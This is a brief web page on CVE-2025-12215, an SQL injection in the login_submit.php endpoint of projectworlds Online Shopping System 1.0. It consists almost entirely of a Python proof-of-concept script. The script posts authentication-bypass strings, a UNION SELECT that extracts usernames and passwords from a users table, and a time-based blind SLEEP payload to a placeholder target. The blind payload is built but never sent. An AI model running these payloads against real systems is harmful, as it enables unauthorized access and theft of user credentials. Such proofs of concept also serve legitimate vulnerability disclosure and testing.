CVE-2025-12215 projectworlds在线购物系统login_submit.php SQL注入漏洞

import requests # CVE-2025-12215 SQL Injection PoC # Target: projectworlds Online Shopping System 1.0 # Endpoint: /login_submit.php # Parameter: keywords target_url = "http://target.com/login_submit.php" # Basic SQL Injection test payloads payloads = [ "' OR '1'='1", "' OR '1'='1' --", "admin' OR '1'='1", "' UNION SELECT NULL--", "' UNION SELECT username,password FROM users--" ] for payload in payloads: data = { 'keywords': payload } try: response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response Length: {len(response.text)}") print("-" * 50) except requests.exceptions.RequestException as e: print(f"Error: {e}") # Blind SQL Injection verification blind_payload = "' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--" data_blind = {'keywords': blind_payload} print(f"Testing blind SQL injection: {blind_payload}")